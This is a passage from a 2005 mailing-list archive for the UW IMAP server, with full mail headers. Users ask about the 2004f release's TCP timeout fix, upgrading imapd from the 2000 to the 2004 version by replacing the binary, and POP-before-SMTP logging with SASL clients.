2005 08:12:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81FCKPS021238; Thu, 1 Sep 2005 08:12:20 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81FC17J021160 for ; Thu, 1 Sep 2005 08:12:01 -0700 Received: from pi2.mathtech.com (mail.mathtech.com [64.17.224.213]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81FBxF8015487 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 1 Sep 2005 08:12:00 -0700 Received: from [192.168.36.65] (fw.mathtech.com [64.17.224.210]) (authenticated bits=0) by pi2.mathtech.com (8.12.11/8.12.11) with ESMTP id j81FBwNZ019909 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 1 Sep 2005 11:11:58 -0400 Message-ID: <43171A3C.5050503@mtifilm.com> Date: Thu, 01 Sep 2005 11:11:56 -0400 From: Michael Russell User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] 2004f release question X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark, Based on one of the other postings, I see that 2004f is out. I didn't see any announcement (do you normally make release announcements on this list or is there another list?) and the release notes are not very specific as to what changed. Could you comment on whether you think updating from 2004e is worthwhile and give a few specifics on the "bugfix to the TCP code"? Also, please note that the page: http://www.washington.edu/imap/ points to release notes: http://www.washington.edu/imap/documentation/RELNOTES.html which are actually from the 2004d release. Thanks for all your efforts and assistance. -- Michael Russell russell@mtifilm.com MTI Film, LLC Providence, RI 02906 USA Tel: (401) 831-1315 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 1 09:42:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Sep 2005 09:42:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81GgLKw017735 for ; Thu, 1 Sep 2005 09:42:21 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81GgKi4012791 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 1 Sep 2005 09:42:20 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81Gg31Z006113; Thu, 1 Sep 2005 09:42:03 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81Gfnn1006081 for ; Thu, 1 Sep 2005 09:41:49 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81GfmNq020783 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 1 Sep 2005 09:41:48 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81GflVk012299 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 1 Sep 2005 09:41:47 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j81GfYHu024637 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 1 Sep 2005 09:41:47 -0700 Date: Thu, 1 Sep 2005 09:41:33 -0700 (PDT) From: Mark Crispin To: Michael Russell Subject: Re: [Imap-uw] 2004f release question In-Reply-To: <43171A3C.5050503@mtifilm.com> Message-ID: References: <43171A3C.5050503@mtifilm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 1 Sep 2005, Michael Russell wrote: > Based on one of the other postings, I see that 2004f is out. I didn't see > any announcement (do you normally make release announcements on this list or > is there another list?) If you are only building imapd and/or ipop3d, the 2004f update has nothing of value to you and can be disregarded. If I felt that the update was important, I certainly would have announced it. > and the release notes are not very specific as to > what changed. Could you comment on whether you think updating from 2004e is > worthwhile and give a few specifics on the "bugfix to the TCP code"? The only change between 2004e and 2004f affects client code that uses TCP, not server code. The servers use stdio, so aren't affected by the problem. The bug was in a change, introduced earlier this year, that had the effect of causing a TCP I/O timeout to be misinterpreted as a "connection closed" event. This only affects clients which set up TCP I/O timeouts (most notably, it affects Pine) and only sessions which are stuck for at least 15 seconds. Although imapd can be a client (as an NNTP/POP/IMAP proxy) too, it does not set up TCP I/O timeouts and thus is NOT affected by the bug. Unless you build clients that use the c-client library and use timeouts, the 2004f minor release is of no consequence to you and you can stay with 2004e. People who build Pine may want to replace the pine4.63/imap directory (which is 2004e) with 2004f in order to get this bugfix; but we expect that we will release Pine 4.64 in the not-too-distance future as a bugfix release that has this fixes (and other fixes). > please note that the page: > http://www.washington.edu/imap/ > points to release notes: > http://www.washington.edu/imap/documentation/RELNOTES.html > which are actually from the 2004d release. We'll fix that, thanks. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Sep 4 05:07:48 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 4 Sep 2005 05:07:48 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84C7lRp009725 for ; Sun, 4 Sep 2005 05:07:47 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84C7kfr011899 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 4 Sep 2005 05:07:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84C7Om5005458; Sun, 4 Sep 2005 05:07:24 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84C7NeD005450 for ; Sun, 4 Sep 2005 05:07:23 -0700 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84C7MwJ017051 for ; Sun, 4 Sep 2005 05:07:23 -0700 Received: by wproxy.gmail.com with SMTP id 50so260135wri for ; Sun, 04 Sep 2005 05:07:22 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=Qp+vntK7BZcobBhwwpoIShvEUJGd0CwHxPCXkaJxzfLe8dfB25QhCqt6vDR5dFzCWRjgZrtI04goE8J+tfLJthlvlDhmxeAmfRaf84ZStfzaK/vaBolDik4b397HvRhm7ahinfsZ5xc0V3BL5+LByJ/LoX+koYIlYZcARilrZj0= Received: by 10.54.121.12 with SMTP id t12mr3125518wrc; Sun, 04 Sep 2005 05:07:22 -0700 (PDT) Received: from bigdog ( [201.31.158.252]) by mx.gmail.com with ESMTP id 65sm3523839wra.2005.09.04.05.07.15; Sun, 04 Sep 2005 05:07:22 -0700 (PDT) Message-ID: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> From: "Marcelo Coelho Galeti - GMail" To: Date: Sun, 4 Sep 2005 09:07:07 -0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.3790.1830 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.1830 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] imap2000 directly to imap2004 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello Guys, I just started to work in a company where they have Imap2000a in a Conectiva Linux Box version 8 (like RedHat) and we have performance problems with ImapXOutlook. I would like to upgrade to the last imap .. imap2004. There is some upgrade procedure or will I do a new installation ? If I can upgrade, can I go directly from 2000 to 2004 ? Is it possible to leave both version and only activate the 2004 when I am sure about the good installation ? Very Very thanks and congratulations for you work !! Nice week ! Marcelo Galeti _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Sep 4 09:56:11 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 4 Sep 2005 09:56:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GuBcF020258 for ; Sun, 4 Sep 2005 09:56:11 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GuAgq014924 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 4 Sep 2005 09:56:10 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84Gtqg9029416; Sun, 4 Sep 2005 09:55:52 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GtpuH029408 for ; Sun, 4 Sep 2005 09:55:51 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GtoXf021860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 4 Sep 2005 09:55:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GtomS003785 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 4 Sep 2005 09:55:50 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (S01060013103d7b18.gv.shawcable.net [24.69.190.210]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84GtnnE028223 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 4 Sep 2005 09:55:50 -0700 Date: Sun, 4 Sep 2005 09:55:46 -0700 From: Mark Crispin To: Marcelo Coelho Galeti - GMail Subject: Re: [Imap-uw] imap2000 directly to imap2004 In-Reply-To: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> Message-ID: References: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 4 Sep 2005, Marcelo Coelho Galeti - GMail wrote: > There is some upgrade procedure or will I do a new installation ? If I > can upgrade, can I go directly from 2000 to 2004 ? Is it possible to > leave both version and only activate the 2004 when I am sure about the > good installation ? As long as there are no modifications to your copy of 2000, upgrading to the current version (2004f) is as straightforward as compiling the new sources and replacing the imapd binary. If there are modifications to your copy of 2000, and you depend upon those modifications, then you will have to copy those modifications to 2004f first. Problems may arise if your copy of the older version was modified by a third party, and you don't know what those modifications are. Unless you have special needs, I recommend that you not run a modified version, and instead run the unmodified distribution directly from UW. That way, you can always upgrade easily without having to worry about losing a modification. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Sep 4 16:24:10 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 4 Sep 2005 16:24:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84NOAxF001044 for ; Sun, 4 Sep 2005 16:24:10 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84NO9aR006680 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 4 Sep 2005 16:24:09 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84NO1lJ014447; Sun, 4 Sep 2005 16:24:01 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84NNxAf014439 for ; Sun, 4 Sep 2005 16:23:59 -0700 Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j84NNu4X007902 for ; Sun, 4 Sep 2005 16:23:56 -0700 Received: by wproxy.gmail.com with SMTP id i28so544045wra for ; Sun, 04 Sep 2005 16:23:56 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:from:to:cc:references:subject:date:mime-version:content-type:content-transfer-encoding:x-priority:x-msmail-priority:x-mailer:x-mimeole; b=oSLvNOYEPNKDTelgQUiZd80FAvfubs2JthhblO3LuhiKfo979+80wgVuj61bbc7GmonyyY4djKG3w8CIBDkomhWX2rso9+Fcjo1LUb2VLRUcUUUYkJlCmnNcq3xhe/w/aLHj6hNrFn509fApQPIgXPRfBOXoSpK2+ni20KCMceg= Received: by 10.54.71.11 with SMTP id t11mr3208618wra; Sun, 04 Sep 2005 16:23:56 -0700 (PDT) Received: from galeti ( [201.31.197.12]) by mx.gmail.com with ESMTP id 27sm6639251wrl.2005.09.04.16.23.55; Sun, 04 Sep 2005 16:23:56 -0700 (PDT) Message-ID: <001301c5b1a7$bbd943c0$0cc51fc9@galeti> From: "Marcelo Coelho Galeti - GMail" To: "Mark Crispin" References: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> Subject: Re: [Imap-uw] imap2000 directly to imap2004 Date: Sun, 4 Sep 2005 20:23:59 -0300 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2527 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello Mark, First of all .. thanks by this fast help !! I am 100% sure my version is the UW original and because of this I will go ahead with the upgrade. Let me ask you more something: If I -find the imapd file, -do a backup of this file, -compile the new one -ONLY REPLACE the old imapd with the new imapd -restart inetd service the imap2004 service will work properly ? and if necessary, I can use the imapd backuped file to restore to an old enviroment ? I mean .. the imapd file is the only thing I need to backup ? Not libraries, .conf files, other ? Nice weekend, Marcelo Galeti ----- Original Message ----- From: "Mark Crispin" To: "Marcelo Coelho Galeti - GMail" Cc: Sent: Sunday, September 04, 2005 1:55 PM Subject: Re: [Imap-uw] imap2000 directly to imap2004 > On Sun, 4 Sep 2005, Marcelo Coelho Galeti - GMail wrote: >> There is some upgrade procedure or will I do a new installation ? If I >> can upgrade, can I go directly from 2000 to 2004 ? Is it possible to >> leave both version and only activate the 2004 when I am sure about the >> good installation ? > > As long as there are no modifications to your copy of 2000, upgrading to > the current version (2004f) is as straightforward as compiling the new > sources and replacing the imapd binary. > > If there are modifications to your copy of 2000, and you depend upon those > modifications, then you will have to copy those modifications to 2004f > first. Problems may arise if your copy of the older version was modified > by a third party, and you don't know what those modifications are. > > Unless you have special needs, I recommend that you not run a modified > version, and instead run the unmodified distribution directly from UW. > That way, you can always upgrade easily without having to worry about > losing a modification. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Sep 4 19:28:42 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 4 Sep 2005 19:28:42 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SgvX008682 for ; Sun, 4 Sep 2005 19:28:42 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852Sfou002859 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 4 Sep 2005 19:28:42 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SZJJ022480; Sun, 4 Sep 2005 19:28:35 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SYft022470 for ; Sun, 4 Sep 2005 19:28:34 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SXLv004606 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Sun, 4 Sep 2005 19:28:34 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SXei018899 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 4 Sep 2005 19:28:33 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (S01060013103d7b18.gv.shawcable.net [24.69.190.210]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j852SV2D027301 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 4 Sep 2005 19:28:32 -0700 Date: Sun, 4 Sep 2005 19:28:29 -0700 From: Mark Crispin To: Marcelo Coelho Galeti - GMail Subject: Re: [Imap-uw] imap2000 directly to imap2004 In-Reply-To: <001301c5b1a7$bbd943c0$0cc51fc9@galeti> Message-ID: References: <005401c5b149$36ac07e0$fc9e1fc9@bigfirm.local> <001301c5b1a7$bbd943c0$0cc51fc9@galeti> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Sun, 4 Sep 2005, Marcelo Coelho Galeti - GMail wrote: > If I > -find the imapd file, > -do a backup of this file, > -compile the new one > -ONLY REPLACE the old imapd with the new imapd > -restart inetd service > > the imap2004 service will work properly ? and if necessary, I can use the > imapd backuped file > to restore to an old enviroment ? Yes and yes. It is not necessary to restart inetd. > I mean .. the imapd file is the only thing I need to backup ? Not libraries, > .conf files, other ? Correct, if you use a build from unmodified UW sources. I can't speak about modified sources. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 10:02:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 10:02:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88H28SB016390 for ; Thu, 8 Sep 2005 10:02:08 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88H2725018430 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 10:02:07 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88H1naJ020405; Thu, 8 Sep 2005 10:01:49 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88GnHQq019098 for ; Thu, 8 Sep 2005 09:49:17 -0700 Received: from agro.uba.ar (pulse.ifeva.edu.ar [168.96.156.35]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88GnCbG016985 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 8 Sep 2005 09:49:14 -0700 Received: from [168.96.156.99] (petrus.agro.uba.ar [168.96.156.99]) by agro.uba.ar (8.12.8/8.12.8) with ESMTP id j88GnAPR000328 for ; Thu, 8 Sep 2005 13:49:11 -0300 Message-ID: <43206B89.8030804@agro.uba.ar> Date: Thu, 08 Sep 2005 13:49:13 -0300 From: Mariano Wahlmann User-Agent: Debian Thunderbird 1.0.2 (X11/20050602) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Problem with pop before smtp X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I had a pop before smtp watching at maillog to catch authenticated users. but when a client uses SASL this records do not appear, and the Logout record says Logout user=???, how can i get one record for each authenticated user? Thanks, _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Sep 8 11:02:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Sep 2005 11:02:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I2i7j019747 for ; Thu, 8 Sep 2005 11:02:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I2h5J019272 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 8 Sep 2005 11:02:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I2Np3030263; Thu, 8 Sep 2005 11:02:23 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I1DqC029768 for ; Thu, 8 Sep 2005 11:01:13 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I1CaV007751 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 8 Sep 2005 11:01:12 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j88I1BeM029109 